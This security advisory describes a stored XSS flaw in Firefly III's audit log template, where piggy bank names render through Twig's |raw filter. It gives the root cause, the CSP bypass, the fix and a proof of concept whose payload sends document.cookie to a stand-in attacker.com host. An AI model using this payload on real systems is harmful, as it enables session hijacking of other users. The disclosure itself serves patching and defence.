Firefly II has Stored XSS in Audit Log Entry view via piggy bank name (ale.twig)GHSA-6jq6-x4cx-qvcm
Fix: firefly-iii/firefly-iii#12271GHSA-6jq6-x4cx-qvcm is a security vulnerability in grumpydictator/firefly-iii. A fix is available for grumpydictator/firefly-iii — see the affected versions and patch details below.
Real-World Exposure
grumpydictator/firefly-iiiReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The Twig template resources/views/list/ale.twig renders the piggy bank name from AuditLogEntry.after.piggy using the |raw filter, bypassing Twig's auto-escaping. A piggy bank created with an HTML payload in its name executes arbitrary JavaScript in any browser viewing that transaction's audit log.
Root Cause
The |raw filter is required on the outer trans() call to preserve <span> tags in the amount parameter (currency styling). However, this also disables escaping for the user-controlled name parameter.
Vulnerable code (resources/views/list/ale.twig lines 107, 110):
{{ trans('firefly.ale_action_log_add', {
amount: formatAmountBySymbol(...),
name: logEntry.after.piggy
})|raw }}
No HTML sanitization at storage time — PiggyBankStoreRequest only validates min:1|max:255|uniquePiggyBankForUser.
Data Flow
POST /api/v1/piggy-banks {"name": "<img src=x onerror=...>"}
→ Stored verbatim in piggy_banks.name
→ Transaction rule fires add_to_piggy / remove_from_piggy
→ UpdatePiggyBank::handle() stores AuditLogEntry.after.piggy = raw name
→ Any user views /transactions/show/{id}
→ ale.twig outputs unescaped payload → XSS fires
CSP Note
The nonce-based CSP (script-src 'nonce-...' 'strict-dynamic') does not prevent this attack. Inline event handlers (onerror, onload) in HTML attributes are governed by script-src-attr, which is unrestricted in the current policy. The <img onerror=...> payload bypasses the nonce requirement entirely.
PoC
- Authenticate as any user
POST /api/v1/piggy-bankswith"name": "<img src=x onerror=fetch('https://attacker.com?c='+document.cookie)>"- Create a rule: action = "Add money to piggy bank [attacker's piggy bank]"
- Trigger the rule on any transaction
- Visit
/transactions/show/{id}→ payload fires
Confirmed server response (v6.6.2):
Added <span class="text-success money-positive">EUR 50.00</span> to piggy bank
"<img src=x onerror=alert(document.cookie)>"
Impact
- Stored XSS persists in DB — fires for every user who views the transaction
- Cookie theft → session hijacking
- In multi-user setups: one user attacks another user or admin
- Chainable with CSRF-like operations
Fix
PR #12271 (merged into develop): add |e to escape only the user-controlled name parameter.
{{ trans('firefly.ale_action_log_add', {
amount: formatAmountBySymbol(...),
name: logEntry.after.piggy|e
})|raw }}
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐘Packagist | grumpydictator/firefly-iii | all versions | 6.6.3composer require grumpydictator/firefly-iii:^6.6.3 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for grumpydictator/firefly-iii, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update grumpydictator/firefly-iii to 6.6.3 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-6jq6-x4cx-qvcm is resolved across your whole dependency graph.
Workarounds
Escape or sanitise the affected output on the server side rather than relying on client-side filtering, and add a Content-Security-Policy that blocks inline script execution so injected markup cannot run even if it reaches the page.
Frequently Asked Questions
Is GHSA-6jq6-x4cx-qvcm in your dependencies?
Find it across Packagist, including transitive dependencies.